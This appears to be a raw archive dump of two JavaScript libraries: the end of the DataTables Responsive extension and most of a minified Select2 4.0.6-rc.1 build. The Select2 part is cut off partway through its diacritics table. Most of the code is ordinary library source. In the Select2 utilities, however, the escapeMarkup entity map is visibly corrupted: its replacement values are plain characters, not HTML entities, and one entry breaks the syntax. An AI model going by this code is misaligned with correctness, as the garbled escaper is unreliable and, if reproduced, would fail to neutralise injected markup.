columns, function ( col ) { return col.hidden ? '<li data-dtr-index="'+col.columnIndex+'" data-dt-row="'+col.rowIndex+'" data-dt-column="'+col.columnIndex+'">'+ '<span class="dtr-title">'+ col.title+ '</span> '+ '<span class="dtr-data">'+ col.data+ '</span>'+ '</li>' : ''; } ).join(''); return data ? $('<ul data-dtr-index="'+rowIdx+'" class="dtr-details"/>').append( data ) : false; } }, tableAll: function ( options ) { options = $.extend( { tableClass: '' }, options ); return function ( api, rowIdx, columns ) { var data = $.map( columns, function ( col ) { return '<tr data-dt-row="'+col.rowIndex+'" data-dt-column="'+col.columnIndex+'">'+ '<td>'+col.title+':'+'</td> '+ '<td>'+col.data+'</td>'+ '</tr>'; } ).join(''); return $('<table class="'+options.tableClass+' dtr-details" width="100%"/>').append( data ); } } }; /** * Responsive default settings for initialisation * * @namespace * @name Responsive.defaults * @static */ Responsive.defaults = { /** * List of breakpoints for the instance. Note that this means that each * instance can have its own breakpoints. Additionally, the breakpoints * cannot be changed once an instance has been creased. * * @type {Array} * @default Takes the value of `Responsive.breakpoints` */ breakpoints: Responsive.breakpoints, /** * Enable / disable auto hiding calculations. It can help to increase * performance slightly if you disable this option, but all columns would * need to have breakpoint classes assigned to them * * @type {Boolean} * @default `true` */ auto: true, /** * Details control. If given as a string value, the `type` property of the * default object is set to that value, and the defaults used for the rest * of the object - this is for ease of implementation. * * The object consists of the following properties: * * * `display` - A function that is used to show and hide the hidden details * * `renderer` - function that is called for display of the child row data. * The default function will show the data from the hidden columns * * `target` - Used as the selector for what objects to attach the child * open / close to * * `type` - `false` to disable the details display, `inline` or `column` * for the two control types * * @type {Object|string} */ details: { display: Responsive.display.childRow, renderer: Responsive.renderer.listHidden(), target: 0, type: 'inline' }, /** * Orthogonal data request option. This is used to define the data type * requested when Responsive gets the data to show in the child row. * * @type {String} */ orthogonal: 'display' }; /* * API */ var Api = $.fn.dataTable.Api; // Doesn't do anything - work around for a bug in DT... Not documented Api.register( 'responsive()', function () { return this; } ); Api.register( 'responsive.index()', function ( li ) { li = $(li); return { column: li.data('dtr-index'), row: li.parent().data('dtr-index') }; } ); Api.register( 'responsive.rebuild()', function () { return this.iterator( 'table', function ( ctx ) { if ( ctx._responsive ) { ctx._responsive._classLogic(); } } ); } ); Api.register( 'responsive.recalc()', function () { return this.iterator( 'table', function ( ctx ) { if ( ctx._responsive ) { ctx._responsive._resizeAuto(); ctx._responsive._resize(); } } ); } ); Api.register( 'responsive.hasHidden()', function () { var ctx = this.context[0]; return ctx._responsive ? $.inArray( false, ctx._responsive.s.current ) !== -1 : false; } ); Api.registerPlural( 'columns().responsiveHidden()', 'column().responsiveHidden()', function () { return this.iterator( 'column', function ( settings, column ) { return settings._responsive ? settings._responsive.s.current[ column ] : false; }, 1 ); } ); /** * Version information * * @name Responsive.version * @static */ Responsive.version = '2.2.3'; $.fn.dataTable.Responsive = Responsive; $.fn.DataTable.Responsive = Responsive; // Attach a listener to the document which listens for DataTables initialisation // events so we can automatically initialise $(document).on( 'preInit.dt.dtr', function (e, settings, json) { if ( e.namespace !== 'dt' ) { return; } if ( $(settings.nTable).hasClass( 'responsive' ) || $(settings.nTable).hasClass( 'dt-responsive' ) || settings.oInit.responsive || DataTable.defaults.responsive ) { var init = settings.oInit.responsive; if ( init !== false ) { new Responsive( settings, $.isPlainObject( init ) ? init : {} ); } } } ); return Responsive; })); select2.min.js000064400000204544151701413610007235 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(b,c){return void 0===c&&(c="undefined"!=typeof window?require("jquery"):require("jquery")(b)),a(c),c}:a(jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var b;return function(){if(!b||!b.requirejs){b?c=b:b={};var a,c,d;!function(b){function e(a,b){return v.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n,o=b&&b.split("/"),p=t.map,q=p&&p["*"]||{};if(a){for(a=a.split("/"),g=a.length-1,t.nodeIdCompat&&x.test(a[g])&&(a[g]=a[g].replace(x,"")),"."===a[0].charAt(0)&&o&&(n=o.slice(0,o.length-1),a=n.concat(a)),k=0;k<a.length;k++)if("."===(m=a[k]))a.splice(k,1),k-=1;else if(".."===m){if(0===k||1===k&&".."===a[2]||".."===a[k-1])continue;k>0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}if((o||q)&&p){for(c=a.split("/"),k=c.length;k>0;k-=1){if(d=c.slice(0,k).join("/"),o)for(l=o.length;l>0;l-=1)if((e=p[o.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&q&&q[d]&&(i=q[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=w.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),o.apply(b,d.concat([a,c]))}}function h(a){return function(b){return f(b,a)}}function i(a){return function(b){r[a]=b}}function j(a){if(e(s,a)){var c=s[a];delete s[a],u[a]=!0,n.apply(b,c)}if(!e(r,a)&&!e(u,a))throw new Error("No "+a);return r[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}function l(a){return a?k(a):[]}function m(a){return function(){return t&&t.config&&t.config[a]||{}}}var n,o,p,q,r={},s={},t={},u={},v=Object.prototype.hasOwnProperty,w=[].slice,x=/\.js$/;p=function(a,b){var c,d=k(a),e=d[0],g=b[1];return a=d[1],e&&(e=f(e,g),c=j(e)),e?a=c&&c.normalize?c.normalize(a,h(g)):f(a,g):(a=f(a,g),d=k(a),e=d[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},q={require:function(a){return g(a)},exports:function(a){var b=r[a];return void 0!==b?b:r[a]={}},module:function(a){return{id:a,uri:"",exports:r[a],config:m(a)}}},n=function(a,c,d,f){var h,k,m,n,o,t,v,w=[],x=typeof d;if(f=f||a,t=l(f),"undefined"===x||"function"===x){for(c=!c.length&&d.length?["require","exports","module"]:c,o=0;o<c.length;o+=1)if(n=p(c[o],t),"require"===(k=n.f))w[o]=q.require(a);else if("exports"===k)w[o]=q.exports(a),v=!0;else if("module"===k)h=w[o]=q.module(a);else if(e(r,k)||e(s,k)||e(u,k))w[o]=j(k);else{if(!n.p)throw new Error(a+" missing "+k);n.p.load(n.n,g(f,!0),i(k),{}),w[o]=r[k]}m=d?d.apply(r[a],w):void 0,a&&(h&&h.exports!==b&&h.exports!==r[a]?r[a]=h.exports:m===b&&v||(r[a]=m))}else a&&(r[a]=d)},a=c=o=function(a,c,d,e,f){if("string"==typeof a)return q[a]?q[a](c):j(p(a,l(c)).f);if(!a.splice){if(t=a,t.deps&&o(t.deps,t.callback),!c)return;c.splice?(a=c,c=d,d=null):a=b}return c=c||function(){},"function"==typeof d&&(d=e,e=f),e?n(b,a,c,d):setTimeout(function(){n(b,a,c,d)},4),o},o.config=function(a){return o(a)},a._defined=r,d=function(a,b,c){if("string"!=typeof a)throw new Error("See almond README: incorrect module build, no module name");b.splice||(c=b,b=[]),e(r,a)||e(s,a)||(s[a]=[a,b,c])},d.amd={jQuery:!0}}(),b.requirejs=a,b.require=c,b.define=d}}(),b.define("almond",function(){}),b.define("jquery",[],function(){var b=a||$;return null==b&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),b}),b.define("select2/utils",["jquery"],function(a){function b(a){var b=a.prototype,c=[];for(var d in b){"function"==typeof b[d]&&("constructor"!==d&&c.push(d))}return c}var c={};c.Extend=function(a,b){function c(){this.constructor=a}var d={}.hasOwnProperty;for(var e in b)d.call(b,e)&&(a[e]=b[e]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},c.Decorate=function(a,c){function d(){var b=Array.prototype.unshift,d=c.prototype.constructor.length,e=a.prototype.constructor;d>0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}function e(){this.constructor=d}var f=b(c),g=b(a);c.displayName=a.displayName,d.prototype=new e;for(var h=0;h<g.length;h++){var i=g[h];d.prototype[i]=a.prototype[i]}for(var j=(function(a){var b=function(){};a in d.prototype&&(b=d.prototype[a]);var e=c.prototype[a];return function(){return Array.prototype.unshift.call(arguments,b),e.apply(this,arguments)}}),k=0;k<f.length;k++){var l=f[k];d.prototype[l]=j(l)}return d};var d=function(){this.listeners={}};d.prototype.on=function(a,b){this.listeners=this.listeners||{},a in this.listeners?this.listeners[a].push(b):this.listeners[a]=[b]},d.prototype.trigger=function(a){var b=Array.prototype.slice,c=b.call(arguments,1);this.listeners=this.listeners||{},null==c&&(c=[]),0===c.length&&c.push({}),c[0]._type=a,a in this.listeners&&this.invoke(this.listeners[a],b.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},d.prototype.invoke=function(a,b){for(var c=0,d=a.length;c<d;c++)a[c].apply(this,b)},c.Observable=d,c.generateChars=function(a){for(var b="",c=0;c<a;c++){b+=Math.floor(36*Math.random()).toString(36)}return b},c.bind=function(a,b){return function(){a.apply(b,arguments)}},c._convertData=function(a){for(var b in a){var c=b.split("-"),d=a;if(1!==c.length){for(var e=0;e<c.length;e++){var f=c[e];f=f.substring(0,1).toLowerCase()+f.substring(1),f in d||(d[f]={}),e==c.length-1&&(d[f]=a[b]),d=d[f]}delete a[b]}}return a},c.hasScroll=function(b,c){var d=a(c),e=c.style.overflowX,f=c.style.overflowY;return(e!==f||"hidden"!==f&&"visible"!==f)&&("scroll"===e||"scroll"===f||(d.innerHeight()<c.scrollHeight||d.innerWidth()<c.scrollWidth))},c.escapeMarkup=function(a){var b={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return"string"!=typeof a?a:String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})},c.appendMany=function(b,c){if("1.7"===a.fn.jquery.substr(0,3)){var d=a();a.map(c,function(a){d=d.add(a)}),c=d}b.append(c)},c.__cache={};var e=0;return c.GetUniqueElementId=function(a){var b=a.getAttribute("data-select2-id");return null==b&&(a.id?(b=a.id,a.setAttribute("data-select2-id",b)):(a.setAttribute("data-select2-id",++e),b=e.toString())),b},c.StoreData=function(a,b,d){var e=c.GetUniqueElementId(a);c.__cache[e]||(c.__cache[e]={}),c.__cache[e][b]=d},c.GetData=function(b,d){var e=c.GetUniqueElementId(b);return d?c.__cache[e]&&null!=c.__cache[e][d]?c.__cache[e][d]:a(b).data(d):c.__cache[e]},c.RemoveData=function(a){var b=c.GetUniqueElementId(a);null!=c.__cache[b]&&delete c.__cache[b]},c}),b.define("select2/results",["jquery","./utils"],function(a,b){function c(a,b,d){this.$element=a,this.data=d,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<ul class="select2-results__options" role="tree"></ul>');return this.options.get("multiple")&&b.attr("aria-multiselectable","true"),this.$results=b,b},c.prototype.clear=function(){this.$results.empty()},c.prototype.displayMessage=function(b){var c=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var d=a('<li role="treeitem" aria-live="assertive" class="select2-results__option"></li>'),e=this.options.get("translations").get(b.message);d.append(c(e(b.args))),d[0].className+=" select2-results__message",this.$results.append(d)},c.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},c.prototype.append=function(a){this.hideLoading();var b=[];if(null==a.results||0===a.results.length)return void(0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"}));a.results=this.sort(a.results);for(var c=0;c<a.results.length;c++){var d=a.results[c],e=this.option(d);b.push(e)}this.$results.append(b)},c.prototype.position=function(a,b){b.find(".select2-results").append(a)},c.prototype.sort=function(a){return this.options.get("sorter")(a)},c.prototype.highlightFirstItem=function(){var a=this.$results.find(".select2-results__option[aria-selected]"),b=a.filter("[aria-selected=true]");b.length>0?b.first().trigger("mouseenter"):a.first().trigger("mouseenter"),this.ensureHighlightVisible()},c.prototype.setClasses=function(){var c=this;this.data.current(function(d){var e=a.map(d,function(a){return a.id.toString()});c.$results.find(".select2-results__option[aria-selected]").each(function(){var c=a(this),d=b.GetData(this,"data"),f=""+d.id;null!=d.element&&d.element.selected||null==d.element&&a.inArray(f,e)>-1?c.attr("aria-selected","true"):c.attr("aria-selected","false")})})},c.prototype.showLoading=function(a){this.hideLoading();var b=this.options.get("translations").get("searching"),c={disabled:!0,loading:!0,text:b(a)},d=this.option(c);d.className+=" loading-results",this.$results.prepend(d)},c.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},c.prototype.option=function(c){var d=document.createElement("li");d.className="select2-results__option";var e={role:"treeitem","aria-selected":"false"};c.disabled&&(delete e["aria-selected"],e["aria-disabled"]="true"),null==c.id&&delete e["aria-selected"],null!=c._resultId&&(d.id=c._resultId),c.title&&(d.title=c.title),c.children&&(e.role="group",e["aria-label"]=c.text,delete e["aria-selected"]);for(var f in e){var g=e[f];d.setAttribute(f,g)}if(c.children){var h=a(d),i=document.createElement("strong");i.className="select2-results__group";a(i);this.template(c,i);for(var j=[],k=0;k<c.children.length;k++){var l=c.children[k],m=this.option(l);j.push(m)}var n=a("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});n.append(j),h.append(i),h.append(n)}else this.template(c,d);return b.StoreData(d,"data",c),d},c.prototype.bind=function(c,d){var e=this,f=c.id+"-results";this.$results.attr("id",f),c.on("results:all",function(a){e.clear(),e.append(a.data),c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("results:append",function(a){e.append(a.data),c.isOpen()&&e.setClasses()}),c.on("query",function(a){e.hideMessages(),e.showLoading(a)}),c.on("select",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("unselect",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("open",function(){e.$results.attr("aria-expanded","true"),e.$results.attr("aria-hidden","false"),e.setClasses(),e.ensureHighlightVisible()}),c.on("close",function(){e.$results.attr("aria-expanded","false"),e.$results.attr("aria-hidden","true"),e.$results.removeAttr("aria-activedescendant")}),c.on("results:toggle",function(){var a=e.getHighlightedResults();0!==a.length&&a.trigger("mouseup")}),c.on("results:select",function(){var a=e.getHighlightedResults();if(0!==a.length){var c=b.GetData(a[0],"data");"true"==a.attr("aria-selected")?e.trigger("close",{}):e.trigger("select",{data:c})}}),c.on("results:previous",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a);if(!(c<=0)){var d=c-1;0===a.length&&(d=0);var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top,h=f.offset().top,i=e.$results.scrollTop()+(h-g);0===d?e.$results.scrollTop(0):h-g<0&&e.$results.scrollTop(i)}}),c.on("results:next",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a),d=c+1;if(!(d>=b.length)){var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top+e.$results.outerHeight(!1),h=f.offset().top+f.outerHeight(!1),i=e.$results.scrollTop()+h-g;0===d?e.$results.scrollTop(0):h>g&&e.$results.scrollTop(i)}}),c.on("results:focus",function(a){a.element.addClass("select2-results__option--highlighted")}),c.on("results:message",function(a){e.displayMessage(a)}),a.fn.mousewheel&&this.$results.on("mousewheel",function(a){var b=e.$results.scrollTop(),c=e.$results.get(0).scrollHeight-b+a.deltaY,d=a.deltaY>0&&b-a.deltaY<=0,f=a.deltaY<0&&c<=e.$results.height();d?(e.$results.scrollTop(0),a.preventDefault(),a.stopPropagation()):f&&(e.$results.scrollTop(e.$results.get(0).scrollHeight-e.$results.height()),a.preventDefault(),a.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(c){var d=a(this),f=b.GetData(this,"data");if("true"===d.attr("aria-selected"))return void(e.options.get("multiple")?e.trigger("unselect",{originalEvent:c,data:f}):e.trigger("close",{}));e.trigger("select",{originalEvent:c,data:f})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(c){var d=b.GetData(this,"data");e.getHighlightedResults().removeClass("select2-results__option--highlighted"),e.trigger("results:focus",{data:d,element:a(this)})})},c.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},c.prototype.destroy=function(){this.$results.remove()},c.prototype.ensureHighlightVisible=function(){var a=this.getHighlightedResults();if(0!==a.length){var b=this.$results.find("[aria-selected]"),c=b.index(a),d=this.$results.offset().top,e=a.offset().top,f=this.$results.scrollTop()+(e-d),g=e-d;f-=2*a.outerHeight(!1),c<=2?this.$results.scrollTop(0):(g>this.$results.outerHeight()||g<0)&&this.$results.scrollTop(f)}},c.prototype.template=function(b,c){var d=this.options.get("templateResult"),e=this.options.get("escapeMarkup"),f=d(b,c);null==f?c.style.display="none":"string"==typeof f?c.innerHTML=e(f):a(c).append(f)},c}),b.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),b.define("select2/selection/base",["jquery","../utils","../keys"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,b.Observable),d.prototype.render=function(){var c=a('<span class="select2-selection" role="combobox" aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=b.GetData(this.$element[0],"old-tabindex")?this._tabindex=b.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),c.attr("title",this.$element.attr("title")),c.attr("tabindex",this._tabindex),this.$selection=c,c},d.prototype.bind=function(a,b){var d=this,e=(a.id,a.id+"-results");this.container=a,this.$selection.on("focus",function(a){d.trigger("focus",a)}),this.$selection.on("blur",function(a){d._handleBlur(a)}),this.$selection.on("keydown",function(a){d.trigger("keypress",a),a.which===c.SPACE&&a.preventDefault()}),a.on("results:focus",function(a){d.$selection.attr("aria-activedescendant",a.data._resultId)}),a.on("selection:update",function(a){d.update(a.data)}),a.on("open",function(){d.$selection.attr("aria-expanded","true"),d.$selection.attr("aria-owns",e),d._attachCloseHandler(a)}),a.on("close",function(){d.$selection.attr("aria-expanded","false"),d.$selection.removeAttr("aria-activedescendant"),d.$selection.removeAttr("aria-owns"),d.$selection.focus(),window.setTimeout(function(){d.$selection.focus()},0),d._detachCloseHandler(a)}),a.on("enable",function(){d.$selection.attr("tabindex",d._tabindex)}),a.on("disable",function(){d.$selection.attr("tabindex","-1")})},d.prototype._handleBlur=function(b){var c=this;window.setTimeout(function(){document.activeElement==c.$selection[0]||a.contains(c.$selection[0],document.activeElement)||c.trigger("blur",b)},1)},d.prototype._attachCloseHandler=function(c){a(document.body).on("mousedown.select2."+c.id,function(c){var d=a(c.target),e=d.closest(".select2");a(".select2.select2-container--open").each(function(){a(this),this!=e[0]&&b.GetData(this,"element").select2("close")})})},d.prototype._detachCloseHandler=function(b){a(document.body).off("mousedown.select2."+b.id)},d.prototype.position=function(a,b){b.find(".selection").append(a)},d.prototype.destroy=function(){this._detachCloseHandler(this.container)},d.prototype.update=function(a){throw new Error("The `update` method must be defined in child classes.")},d}),b.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(a,b,c,d){function e(){e.__super__.constructor.apply(this,arguments)}return c.Extend(e,b),e.prototype.render=function(){var a=e.__super__.render.call(this);return a.addClass("select2-selection--single"),a.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),a},e.prototype.bind=function(a,b){var c=this;e.__super__.bind.apply(this,arguments);var d=a.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",d).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",d),this.$selection.on("mousedown",function(a){1===a.which&&c.trigger("toggle",{originalEvent:a})}),this.$selection.on("focus",function(a){}),this.$selection.on("blur",function(a){}),a.on("focus",function(b){a.isOpen()||c.$selection.focus()})},e.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},e.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},e.prototype.selectionContainer=function(){return a("<span></span>")},e.prototype.update=function(a){if(0===a.length)return void this.clear();var b=a[0],c=this.$selection.find(".select2-selection__rendered"),d=this.display(b,c);c.empty().append(d),c.attr("title",b.title||b.text)},e}),b.define("select2/selection/multiple",["jquery","./base","../utils"],function(a,b,c){function d(a,b){d.__super__.constructor.apply(this,arguments)}return c.Extend(d,b),d.prototype.render=function(){var a=d.__super__.render.call(this);return a.addClass("select2-selection--multiple"),a.html('<ul class="select2-selection__rendered"></ul>'),a},d.prototype.bind=function(b,e){var f=this;d.__super__.bind.apply(this,arguments),this.$selection.on("click",function(a){f.trigger("toggle",{originalEvent:a})}),this.$selection.on("click",".select2-selection__choice__remove",function(b){if(!f.options.get("disabled")){var d=a(this),e=d.parent(),g=c.GetData(e[0],"data");f.trigger("unselect",{originalEvent:b,data:g})}})},d.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},d.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},d.prototype.selectionContainer=function(){return a('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">×</span></li>')},d.prototype.update=function(a){if(this.clear(),0!==a.length){for(var b=[],d=0;d<a.length;d++){var e=a[d],f=this.selectionContainer(),g=this.display(e,f);f.append(g),f.attr("title",e.title||e.text),c.StoreData(f[0],"data",e),b.push(f)}var h=this.$selection.find(".select2-selection__rendered");c.appendMany(h,b)}},d}),b.define("select2/selection/placeholder",["../utils"],function(a){function b(a,b,c){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c)}return b.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},b.prototype.createPlaceholder=function(a,b){var c=this.selectionContainer();return c.html(this.display(b)),c.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),c},b.prototype.update=function(a,b){var c=1==b.length&&b[0].id!=this.placeholder.id;if(b.length>1||c)return a.call(this,b);this.clear();var d=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(d)},b}),b.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(a,b,c){function d(){}return d.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(a){d._handleClear(a)}),b.on("keypress",function(a){d._handleKeyboardClear(a,b)})},d.prototype._handleClear=function(a,b){if(!this.options.get("disabled")){var d=this.$selection.find(".select2-selection__clear");if(0!==d.length){b.stopPropagation();var e=c.GetData(d[0],"data"),f=this.$element.val();this.$element.val(this.placeholder.id);var g={data:e};if(this.trigger("clear",g),g.prevented)return void this.$element.val(f);for(var h=0;h<e.length;h++)if(g={data:e[h]},this.trigger("unselect",g),g.prevented)return void this.$element.val(f);this.$element.trigger("change"),this.trigger("toggle",{})}}},d.prototype._handleKeyboardClear=function(a,c,d){d.isOpen()||c.which!=b.DELETE&&c.which!=b.BACKSPACE||this._handleClear(c)},d.prototype.update=function(b,d){if(b.call(this,d),!(this.$selection.find(".select2-selection__placeholder").length>0||0===d.length)){var e=a('<span class="select2-selection__clear">×</span>');c.StoreData(e[0],"data",d),this.$selection.find(".select2-selection__rendered").prepend(e)}},d}),b.define("select2/selection/search",["jquery","../utils","../keys"],function(a,b,c){function d(a,b,c){a.call(this,b,c)}return d.prototype.render=function(b){var c=a('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=c,this.$search=c.find("input");var d=b.call(this);return this._transferTabIndex(),d},d.prototype.bind=function(a,d,e){var f=this;a.call(this,d,e),d.on("open",function(){f.$search.trigger("focus")}),d.on("close",function(){f.$search.val(""),f.$search.removeAttr("aria-activedescendant"),f.$search.trigger("focus")}),d.on("enable",function(){f.$search.prop("disabled",!1),f._transferTabIndex()}),d.on("disable",function(){f.$search.prop("disabled",!0)}),d.on("focus",function(a){f.$search.trigger("focus")}),d.on("results:focus",function(a){f.$search.attr("aria-activedescendant",a.id)}),this.$selection.on("focusin",".select2-search--inline",function(a){f.trigger("focus",a)}),this.$selection.on("focusout",".select2-search--inline",function(a){f._handleBlur(a)}),this.$selection.on("keydown",".select2-search--inline",function(a){if(a.stopPropagation(),f.trigger("keypress",a),f._keyUpPrevented=a.isDefaultPrevented(),a.which===c.BACKSPACE&&""===f.$search.val()){var d=f.$searchContainer.prev(".select2-selection__choice");if(d.length>0){var e=b.GetData(d[0],"data");f.searchRemoveChoice(e),a.preventDefault()}}});var g=document.documentMode,h=g&&g<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(a){if(h)return void f.$selection.off("input.search input.searchcheck");f.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(a){if(h&&"input"===a.type)return void f.$selection.off("input.search input.searchcheck");var b=a.which;b!=c.SHIFT&&b!=c.CTRL&&b!=c.ALT&&b!=c.TAB&&f.handleSearch(a)})},d.prototype._transferTabIndex=function(a){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},d.prototype.createPlaceholder=function(a,b){this.$search.attr("placeholder",b.text)},d.prototype.update=function(a,b){var c=this.$search[0]==document.activeElement;if(this.$search.attr("placeholder",""),a.call(this,b),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),c){this.$element.find("[data-select2-tag]").length?this.$element.focus():this.$search.focus()}},d.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var a=this.$search.val();this.trigger("query",{term:a})}this._keyUpPrevented=!1},d.prototype.searchRemoveChoice=function(a,b){this.trigger("unselect",{data:b}),this.$search.val(b.text),this.handleSearch()},d.prototype.resizeSearch=function(){this.$search.css("width","25px");var a="";if(""!==this.$search.attr("placeholder"))a=this.$selection.find(".select2-selection__rendered").innerWidth();else{a=.75*(this.$search.val().length+1)+"em"}this.$search.css("width",a)},d}),b.define("select2/selection/eventRelay",["jquery"],function(a){function b(){}return b.prototype.bind=function(b,c,d){var e=this,f=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],g=["opening","closing","selecting","unselecting","clearing"];b.call(this,c,d),c.on("*",function(b,c){if(-1!==a.inArray(b,f)){c=c||{};var d=a.Event("select2:"+b,{params:c});e.$element.trigger(d),-1!==a.inArray(b,g)&&(c.prevented=d.isDefaultPrevented())}})},b}),b.define("select2/translation",["jquery","require"],function(a,b){function c(a){this.dict=a||{}}return c.prototype.all=function(){return this.dict},c.prototype.get=function(a){return this.dict[a]},c.prototype.extend=function(b){this.dict=a.extend({},b.all(),this.dict)},c._cache={},c.loadPath=function(a){if(!(a in c._cache)){var d=b(a);c._cache[a]=d}return new c(c._cache[a])},c}),b.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","